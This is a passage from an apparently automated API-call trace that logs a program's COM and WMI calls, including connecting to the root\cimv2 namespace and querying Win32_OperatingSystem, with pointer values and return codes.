pszText="\\\\.\\root\\cimv2") returned 0x0 [0279.952] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d2ddeb0 | out: ppv=0x1d2ddeb0*=0x1d4973e0) returned 0x0 [0279.952] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d4973e0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1d2de028 | out: ppNamespace=0x1d2de028*=0x1d474690) returned 0x0 [0279.977] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474690, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddd28 | out: ppvObject=0x1d2ddd28*=0x1b3521e0) returned 0x0 [0279.977] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b3521e0, pProxy=0x1d474690, pAuthnSvc=0x1d2dddf0, pAuthzSvc=0x1d2ddd70, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74, pImpLevel=0x1d2ddd80, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84 | out: pAuthnSvc=0x1d2dddf0*=0xa, pAuthzSvc=0x1d2ddd70*=0x0, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74*=0x6, pImpLevel=0x1d2ddd80*=0x2, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84*=0x1) returned 0x0 [0279.977] WbemLocator:IUnknown:Release (This=0x1b3521e0) returned 0x1 [0279.977] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474690, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcc0 | out: ppvObject=0x1d2ddcc0*=0x1b352228) returned 0x0 [0279.977] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474690, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcd0 | out: ppvObject=0x1d2ddcd0*=0x1b3521e0) returned 0x0 [0279.977] WbemLocator:IClientSecurity:SetBlanket (This=0x1b3521e0, pProxy=0x1d474690, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0279.978] WbemLocator:IUnknown:Release (This=0x1b3521e0) returned 0x2 [0279.978] WbemLocator:IUnknown:Release (This=0x1b352228) returned 0x1 [0279.978] CoTaskMemFree (pv=0x1d4719e0) [0279.978] WbemLocator:IUnknown:Release (This=0x1d4973e0) returned 0x0 [0279.978] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474690, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd7c0 | out: ppvObject=0x1d2dd7c0*=0x1b352228) returned 0x0 [0279.978] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd850 | out: ppvObject=0x1d2dd850*=0x0) returned 0x80004002 [0279.978] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x0) returned 0x80004002 [0279.979] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474690, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd048 | out: ppvObject=0x1d2dd048*=0x0) returned 0x80004002 [0279.979] WbemLocator:IUnknown:AddRef (This=0x1b352228) returned 0x3 [0279.979] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcf08 | out: ppvObject=0x1d2dcf08*=0x0) returned 0x80004002 [0279.979] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dce90 | out: ppvObject=0x1d2dce90*=0x0) returned 0x80004002 [0279.979] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dce80 | out: ppvObject=0x1d2dce80*=0x1b352108) returned 0x0 [0279.980] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b352108, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcea8 | out: pCid=0x1d2dcea8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0279.980] WbemLocator:IUnknown:Release (This=0x1b352108) returned 0x3 [0279.980] CoGetContextToken (in: pToken=0x1d2dcf30 | out: pToken=0x1d2dcf30) returned 0x0 [0279.980] CoGetContextToken (in: pToken=0x1d2dd3b0 | out: pToken=0x1d2dd3b0) returned 0x0 [0279.980] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b3521f0) returned 0x0 [0279.980] WbemLocator:IRpcOptions:Query (in: This=0x1b3521f0, pPrx=0x1b352228, dwProperty=2, pdwValue=0x1d2dd460 | out: pdwValue=0x1d2dd460) returned 0x80004002 [0279.980] WbemLocator:IUnknown:Release (This=0x1b3521f0) returned 0x3 [0279.980] WbemLocator:IUnknown:Release (This=0x1b352228) returned 0x2 [0279.980] CoGetContextToken (in: pToken=0x1d2dda70 | out: pToken=0x1d2dda70) returned 0x0 [0279.980] CoGetContextToken (in: pToken=0x1d2dd970 | out: pToken=0x1d2dd970) returned 0x0 [0279.980] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x1d2ddad0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1d2ddaa0 | out: ppvObject=0x1d2ddaa0*=0x1d474690) returned 0x0 [0279.980] WbemLocator:IUnknown:AddRef (This=0x1d474690) returned 0x4 [0279.980] WbemLocator:IUnknown:Release (This=0x1d474690) returned 0x3 [0279.980] WbemLocator:IUnknown:Release (This=0x1d474690) returned 0x2 [0279.980] SysStringLen (param_1=0x0) returned 0x0 [0279.980] CoGetContextToken (in: pToken=0x1d2ddba0 | out: pToken=0x1d2ddba0) returned 0x0 [0279.980] WbemLocator:IUnknown:AddRef (This=0x1b352228) returned 0x3 [0279.980] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352228, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddba0 | out: ppvObject=0x1d2ddba0*=0x1b352228) returned 0x0 [0279.981] WbemLocator:IUnknown:Release (This=0x1b352228) returned 0x3 [0279.981] WbemLocator:IUnknown:Release (This=0x1b352228) returned 0x2 [0279.981] CoGetContextToken (in: pToken=0x1d2ddcd0 | out: pToken=0x1d2ddcd0) returned 0x0 [0279.981] WbemLocator:IUnknown:AddRef (This=0x1d474690) returned 0x3 [0279.981] IWbemServices:ExecQuery (in: This=0x1d474690, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1d2de178 | out: ppEnum=0x1d2de178*=0x1d35b7c0) returned 0x0 [0279.992] IUnknown:QueryInterface (in: This=0x1d35b7c0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde48 | out: ppvObject=0x1d2dde48*=0x1d35b7c8) returned 0x0 [0279.992] IClientSecurity:QueryBlanket (in: This=0x1d35b7c8, pProxy=0x1d35b7c0, pAuthnSvc=0x1d2ddf10, pAuthzSvc=0x1d2dde90, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94, pImpLevel=0x1d2ddea0, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4 | out: pAuthnSvc=0x1d2ddf10*=0xa, pAuthzSvc=0x1d2dde90*=0x0, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94*=0x6, pImpLevel=0x1d2ddea0*=0x2, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4*=0x1) returned 0x0 [0279.992] IUnknown:Release (This=0x1d35b7c8) returned 0x1 [0279.992] IUnknown:QueryInterface (in: This=0x1d35b7c0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddde0 | out: ppvObject=0x1d2ddde0*=0x1b350b68) returned 0x0 [0279.992] IUnknown:QueryInterface (in: This=0x1d35b7c0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dddf0 | out: ppvObject=0x1d2dddf0*=0x1d35b7c8) returned 0x0 [0279.992] IClientSecurity:SetBlanket (This=0x1d35b7c8, pProxy=0x1d35b7c0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0280.006] IUnknown:Release (This=0x1d35b7c8) returned 0x2 [0280.006] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x1 [0280.006] CoTaskMemFree (pv=0x1d471bf0) [0280.007] IUnknown:QueryInterface (in: This=0x1d35b7c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8b0 | out: ppvObject=0x1d2dd8b0*=0x1b350b68) returned 0x0 [0280.007] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd940 | out: ppvObject=0x1d2dd940*=0x0) returned 0x80004002 [0280.007] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x0) returned 0x80004002 [0280.008] IUnknown:QueryInterface (in: This=0x1d35b7c0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd138 | out: ppvObject=0x1d2dd138*=0x0) returned 0x80004002 [0280.008] WbemLocator:IUnknown:AddRef (This=0x1b350b68) returned 0x3 [0280.008] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcff8 | out: ppvObject=0x1d2dcff8*=0x0) returned 0x80004002 [0280.008] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcf80 | out: ppvObject=0x1d2dcf80*=0x0) returned 0x80004002 [0280.009] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf70 | out: ppvObject=0x1d2dcf70*=0x1b350a48) returned 0x0 [0280.009] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b350a48, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcf98 | out: pCid=0x1d2dcf98*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0280.009] WbemLocator:IUnknown:Release (This=0x1b350a48) returned 0x3 [0280.009] CoGetContextToken (in: pToken=0x1d2dd020 | out: pToken=0x1d2dd020) returned 0x0 [0280.009] CoGetContextToken (in: pToken=0x1d2dd4a0 | out: pToken=0x1d2dd4a0) returned 0x0 [0280.009] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x1b350b30) returned 0x0 [0280.009] WbemLocator:IRpcOptions:Query (in: This=0x1b350b30, pPrx=0x1b350b68, dwProperty=2, pdwValue=0x1d2dd550 | out: pdwValue=0x1d2dd550) returned 0x80004002 [0280.009] WbemLocator:IUnknown:Release (This=0x1b350b30) returned 0x3 [0280.009] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x2 [0280.009] CoGetContextToken (in: pToken=0x1d2ddb60 | out: pToken=0x1d2ddb60) returned 0x0 [0280.009] CoGetContextToken (in: pToken=0x1d2dda60 | out: pToken=0x1d2dda60) returned 0x0 [0280.009] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x1d2ddbc0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddb90 | out: ppvObject=0x1d2ddb90*=0x1d35b7c0) returned 0x0 [0280.009] IUnknown:AddRef (This=0x1d35b7c0) returned 0x4 [0280.009] IUnknown:Release (This=0x1d35b7c0) returned 0x3 [0280.009] IUnknown:Release (This=0x1d35b7c0) returned 0x2 [0280.009] WbemLocator:IUnknown:Release (This=0x1d474690) returned 0x2 [0280.009] SysStringLen (param_1=0x0) returned 0x0 [0280.010] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de1b8 | out: puCount=0x1d2de1b8*=0x2) returned 0x0 [0280.010] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de1b0*=0xf, pszText=0x0) returned 0x0 [0280.010] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de1b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0280.010] CoGetContextToken (in: pToken=0x1d2ddcf0 | out: pToken=0x1d2ddcf0) returned 0x0 [0280.010] IUnknown:AddRef (This=0x1d35b7c0) returned 0x3 [0280.010] IEnumWbemClassObject:Clone (in: This=0x1d35b7c0, ppEnum=0x1d2de0f0 | out: ppEnum=0x1d2de0f0*=0x1d35be50) returned 0x0 [0280.011] IUnknown:QueryInterface (in: This=0x1d35be50, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde78 | out: ppvObject=0x1d2dde78*=0x1d35be58) returned 0x0 [0280.011] IClientSecurity:QueryBlanket (in: This=0x1d35be58, pProxy=0x1d35be50, pAuthnSvc=0x1d2ddf40, pAuthzSvc=0x1d2ddec0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4, pImpLevel=0x1d2dded0, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4 | out: pAuthnSvc=0x1d2ddf40*=0xa, pAuthzSvc=0x1d2ddec0*=0x0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4*=0x6, pImpLevel=0x1d2dded0*=0x2, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4*=0x1) returned 0x0 [0280.011] IUnknown:Release (This=0x1d35be58) returned 0x1 [0280.011] IUnknown:QueryInterface (in: This=0x1d35be50, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde10 | out: ppvObject=0x1d2dde10*=0x1b3511e8) returned 0x0 [0280.011] IUnknown:QueryInterface (in: This=0x1d35be50, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde20 | out: ppvObject=0x1d2dde20*=0x1d35be58) returned 0x0 [0280.011] IClientSecurity:SetBlanket (This=0x1d35be58, pProxy=0x1d35be50, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0280.013] IUnknown:Release (This=0x1d35be58) returned 0x2 [0280.013] WbemLocator:IUnknown:Release (This=0x1b3511e8) returned 0x1 [0280.013] CoTaskMemFree (pv=0x1d4721c0) [0280.013] IUnknown:QueryInterface (in: This=0x1d35be50, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8d0 | out: ppvObject=0x1d2dd8d0*=0x1b3511e8) returned 0x0 [0280.013] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd960 | out: ppvObject=0x1d2dd960*=0x0) returned 0x80004002 [0280.014] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x0) returned 0x80004002 [0280.014] IUnknown:QueryInterface (in: This=0x1d35be50, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd158 | out: ppvObject=0x1d2dd158*=0x0) returned 0x80004002 [0280.015] WbemLocator:IUnknown:AddRef (This=0x1b3511e8) returned 0x3 [0280.015] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dd018 | out: ppvObject=0x1d2dd018*=0x0) returned 0x80004002 [0280.015] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcfa0 | out: ppvObject=0x1d2dcfa0*=0x0) returned 0x80004002 [0280.015] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf90 | out: ppvObject=0x1d2dcf90*=0x1b3510c8) returned 0x0 [0280.015] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3510c8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcfb8 | out: pCid=0x1d2dcfb8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0280.015] WbemLocator:IUnknown:Release (This=0x1b3510c8) returned 0x3 [0280.015] CoGetContextToken (in: pToken=0x1d2dd040 | out: pToken=0x1d2dd040) returned 0x0 [0280.015] CoGetContextToken (in: pToken=0x1d2dd4c0 | out: pToken=0x1d2dd4c0) returned 0x0 [0280.015] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x1b3511b0) returned 0x0 [0280.015] WbemLocator:IRpcOptions:Query (in: This=0x1b3511b0, pPrx=0x1b3511e8, dwProperty=2, pdwValue=0x1d2dd570 | out: pdwValue=0x1d2dd570) returned 0x80004002 [0280.015] WbemLocator:IUnknown:Release (This=0x1b3511b0) returned 0x3 [0280.015] WbemLocator:IUnknown:Release (This=0x1b3511e8) returned 0x2 [0280.016] CoGetContextToken (in: pToken=0x1d2ddb80 | out: pToken=0x1d2ddb80) returned 0x0 [0280.016] CoGetContextToken (in: pToken=0x1d2dda80 | out: pToken=0x1d2dda80) returned 0x0 [0280.016] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x1d2ddbe0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddbb0 | out: ppvObject=0x1d2ddbb0*=0x1d35be50) returned 0x0 [0280.016] IUnknown:AddRef (This=0x1d35be50) returned 0x4 [0280.016] IUnknown:Release (This=0x1d35be50) returned 0x3 [0280.016] IUnknown:Release (This=0x1d35be50) returned 0x2 [0280.016] IUnknown:Release (This=0x1d35b7c0) returned 0x2 [0280.016] SysStringLen (param_1=0x0) returned 0x0 [0280.016] IEnumWbemClassObject:Reset (This=0x1d35be50) returned 0x0 [0280.017] CoTaskMemAlloc (cb=0x8) returned 0x5248c0 [0280.017] IEnumWbemClassObject:Next (in: This=0x1d35be50, lTimeout=-1, uCount=0x1, apObjects=0x5248c0, puReturned=0x28feeb8 | out: apObjects=0x5248c0*=0x1b34a5e0, puReturned=0x28feeb8*=0x1) returned 0x0 [0280.025] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b34a5e0) returned 0x0 [0280.026] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd500 | out: ppvObject=0x1d2dd500*=0x0) returned 0x80004002 [0280.026] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0280.026] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dccf8 | out: ppvObject=0x1d2dccf8*=0x0) returned 0x80004002 [0280.026] IUnknown:AddRef (This=0x1b34a5e0) returned 0x3 [0280.026] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0280.026] IUnknown:QueryInterface (in: This=0x1b34a5e0, 